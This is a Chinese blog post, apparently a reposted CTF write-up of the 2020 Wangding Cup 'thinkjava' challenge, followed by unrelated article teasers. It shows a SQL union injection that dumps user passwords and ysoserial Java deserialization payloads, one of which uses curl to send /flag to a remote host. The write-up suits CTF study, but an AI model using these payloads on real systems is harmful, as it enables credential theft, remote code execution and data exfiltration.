CTF网鼎杯2020朱雀组 thinkjava思路记录

1.代码分析

BUUCTF在线评测 (buuoj.cn)打开ctf赛题之后,下载class文件,这个部分是不完整点的源码

在sqldict中存在一个sql注入点,没有采用java的预编译,调用了这个的是在test中,同时,这个采用了swagger接口,这是一个测试页面的接口,我们直接尝试打开这个页面

打开 网址/swagger-ui.html

2.测试点1

这里可以看见有三个可以测试的位置,参考源码中的文件地址,可以发现sql注入点存在在test这个测试中,我们dbName注入sql注入的语句,而出现查询结果的地方是tabledescribe

myapp?a=' union select (select name from user)#(用前一个’闭合dbname,然后select,最后#来注释掉后面的语句)

同时我们把pwd也查出来

myapp?a=' union select (select pwd from user)#
记录下来name和pwd

3.测试点2

到下一个测试点login
先点一下右面的type model,输入刚刚记录的内容
点击try out
可以发现登录成功了,而这个data值,后面的部分在反序列化入门博客中有提到,这个rO0AB是一个对象的序列化后base64加密了,而前面这个bearer部分我们直接搜关键词,可以知道
"Authorization: Bearer" 是一种在 HTTP 请求头部中用于传递访问令牌(Access Token)的常见格式。它用于在客户端和服务器之间进行身份验证和授权操作。
我们知道这是一个令牌,而正好第三个测试点后面中文备注是获取用户信息

4.测试点3

把整个token都输入进去
发现它可以测试到我们的name是admin,所以至少这里可以解码base64之后,反序列化了token之后得到的属性的值

5.利用这个地方进行攻击

首先我们需要一个可以去base64加密序列化内容的脚本,这里我用的是Python写的
import base64
file=open("a.bin","rb")

now=file.read()
ba=base64.b64encode(now)
print(ba)
file.close()

我们待会用这个脚本去base64加密

我们用java构造payload的脚本ysoserialysoserial下载和使用-CSDN博客

找一个不需要三方库的接口使用一下,看看这里是不是可以解析的,这里用的是urldns,远程连接一个网址的接口
我们再dnslog上获取一个网址,直接搜dnslog就行,我前面的博客也用过,这里就不贴网址了
java -jar ysoserial-all.jar
java -jar ysoserial-all.jar URLDNS "https://pnxxcc.dnslog.cn" > f.bin
把f。bin和刚刚的脚本放在同一个文件夹下面之后,修改一下脚本的文件名字运行
我们把这个得出的字符串前加上bearer后放到测试点上尝试
发现有访问,我们确定这里可以去反序列化
我们用ROME去执行crul外带到远程主机上
java -jar ysoserial-all.jar ROME "curl https://远程主机ip:port/ -d @/flag" >flag.bin
重复上面的加密操作
远程主机监听对应的端口
复制上去测试这里就可以得到flag了
但是我昨天确定了很多次,发现弹不出来,也不知道是怎么回事了,有大佬整出来可以留言和我说

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/639383.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于 Faster-RCNN 的水稻叶片病害检测方法研究

1 前言 本次分享是使用基于 Faster-RCNN 的水稻叶片病害检测的深度学习算法研究,也是我研究的课题,本文本文使用的算法架构为 Faster R-CNN,研究的课题为使用两种不同的主干特征提取网ResNet-50 和VGG-16 模型进行模型训练和对比评估那…

windows ssh客户端mobaxterm密码登录到debian12 openssh服务器

1,在debian12生成公钥、秘钥 ssh-keygen -t rsa ~/.ssh/id_rsa 是秘钥,要放到windows的(这里先不要放,等转换一下再放); ~/.ssh/id_rsa.pub 是公钥,放在debian12本地就好了, 顺…

HCIA第二天复习上

延长传输距离-------中继器(放大器)------物理层设备 可以延长5倍传输距离 增加网络节点数量 网络拓扑结构 1直线型拓扑 信息安全性差 网络延迟高传输速度慢 2环形拓扑 3星型拓扑 4网状型拓扑 传输效率高,…

MySQL主从复制(docker搭建)

文章目录 1.MySQL主从复制配置1.主服务器配置1.拉取mysql5.7的镜像2.启动一个主mysql,进行端口映射和目录挂载3.进入/mysql5.7/mysql-master/conf中创建my.cnf并写入主mysql配置1.进入目录2.执行命令写入配置 4.重启mysql容器,使配置生效5.进入主mysql&a…

cn.hutool.poi.excel 实现excel导出效果 首行高度,行样式,颜色,合并单元格,例子样式

需求 接了需求,下载excel模版,本来看着还是简单的,然后实现起来一把泪,首先是使用poi,我查了好久,才实现,然后是我用easyexcel又实现了一遍,用了一个周多才实现。 这是需求&#x…

docker实战之搭建MYSQL8.0主从同步

目录 环境配置容器创建主服务器创建MYSQL容器新增my.cnf文件创建用户并授权 从服务器创建MYSQL容器新增my.cnf文件重启MYSQL容器配置主从同步 验证主从同步彩蛋 MySQL 主从同步(Master-Slave Replication)是一种常用的解决方案,它允许一个主服…

【Redis7】Redis持久化机制之RDB

文章目录 1.RDB简介2.RDB配置触发设置3.RDB的优缺点4.如何检查修复RDB文件5.如何禁用RDB6.RDB参数优化7.总结 1.RDB简介 Redis持久化机制中的RDB(Redis Database)是一种将Redis在某个时间点的数据以快照形式保存到磁盘上的方法。 原理:RDB通…

python:pycharm虚拟解释器报错环境位置目录为空

目录 解释器分控制台解释器 和 pycharm解释器 控制台解释器切换: pycharm解释器 解释器分控制台解释器 和 pycharm解释器 控制台解释器切换: 切换到解释器下 激活解释器 查看解释器 where python 激活成功 这时在控制台使用python xxx.py 可以…

java面试框架篇(Spring常见问题、SpringBoot、SpringMVC、mybatis经典问题、SpringCloud组件)

文章目录 面试专题-java框架篇1. spring常见问题1.1. spring是什么?1.2. 谈谈你对AOP的理解1.3. 谈谈你对IOC的理解1.4. Spring Boot、 Spring MVC和Spring有什么区别1.5. spring bean 生命周期1.6. spring事务传播机制有哪些?1.7. 循环依赖1.8. spring框架中使用了哪些设计模…

在链游中,智能合约如何被用于实现游戏内的各种功能

随着区块链技术的快速发展,链游(Blockchain Games)作为区块链技术的重要应用领域之一,正逐渐展现出其独特的魅力和优势。其中,智能合约作为链游的核心技术之一,对于实现游戏内的各种功能起到了至关重要的作…

k8s的网路配置

目录 1、k8s相关网络类型 1.1 K8S中Pod网络通信 1.2 Overlay Network 1.3 VXLAN 1.3.1 vlan和vxlan的区别 2、Flannel 2.1 简介 2.2 Flannel工作原理 2.3 ETCD之Flannel提供说明 2.4 Flannel部署 2.4.1 在node节点上操作 2.4.2 在master01节点上操作 2.4.2.1 安装f…

LangChain llamaindex

LangChain 参考: 全流程 | Windows 系统本地部署开源模型阿里通义千问 QWEN 1.5,结合 LangChain-Chatchat 框架和向量数据库 FAISS、Milvus - 知乎

MySQL 插入数据的时候自动忽略重复数据

MySQL中插入数据,如果插入的数据在表中已经存在(主键或者唯一键已存在),使用insert into语法的时候,如果遇到重复数据,会直接报错,导致事务回滚,所有插入数据,全部失败。…

Go语言直接使用Windows的IOCP API写一个echo服务器

Go的标准库中Windows下的网络是使用了IOCP的,参见go源码go/src/runtime/netpoll_windows.go,标准库为了与Epoll、kqueue等不同平台的IO模式使用统一的API,进行了封装。 如果想直接使用Windows的IOCP API编程,比如想按照&#xff…

iOS swift5 提示信息显示,提示弹框,第三方框架XHToastSwift

文章目录 1.github地址(亲测好用)2.源代码 1.github地址(亲测好用) XHToastSwift - github 2.源代码 XHToast.swift // // XHToast.swift // XHToastSwiftExample // // Created by xiaohui on 16/8/12. // Copyright © 2016年 CoderZhuXH. All rights reserved. …

x264 码率控制原理:rate_estimate_qscale 函数

rate_estimate_qscale 函数 原理 函数功能:根据目前使用的实际比特数更新一帧的qscale;是一个复杂的决策过程,需要考虑多种因素,如帧类型、编码的复杂度、目标比特率、缓冲区大小等,以确保视频质量和文件大小之间的平衡。函数参数分析:x264_t *h :编码器上下文信息结构…

鸿蒙开发ArkUI-X基础知识:【ArkUI代码工程及构建介绍】

代码工程及构建介绍 背景 ArkUI作为OpenHarmony的默认开发框架,在本项目(ArkUI-X)中需要做到一套代码同时支持多平台构建,所以会采取共仓开发的方式,部分仓直接指向OpenHarmony相关开源仓。 代码结构及仓库结构 代…

基于YOLO系列算法(YOLOv5、YOLOv6、YOLOv8以及YOLOv9)和Streamlit框架的行人头盔检测系统

摘要 本文基于最新的基于深度学习的目标检测算法 (YOLOv5、YOLOv6、YOLOv8)以及YOLOv9) 对头盔数据集进行训练与验证,得到了最好的模型权重文件。使用Streamlit框架来搭建交互式Web应用界面,可以在网页端实现模型对图像、视频和实时摄像头的目标检测功能…

C语言-atoi()库函数的模拟实现

文章目录 前言一、atoi()库函数的介绍及使用1.1 atoi()库函数介绍1.2 atoi()库函数使用 二、atoi()库函数的模拟实现2.1 函数设计2.2 函数实现思路2.3 具体实现2.4 测试 总结 前言 本篇文章介绍c语言中库函数atoi()的使用,以及模拟实现库函数。 一、atoi()库函数的…

【linux】详解linux权限

目录 用户 文件属性 更改文件权限 更改文件拥有者 更改文件所属组 用户的权限 文件掩码 粘滞位 总结 基本指令可参考: 【linux】详解linux基本指令-CSDN博客 【linux】详解linux基本指令-CSDN博客 用户 超级用户(root)&#xff…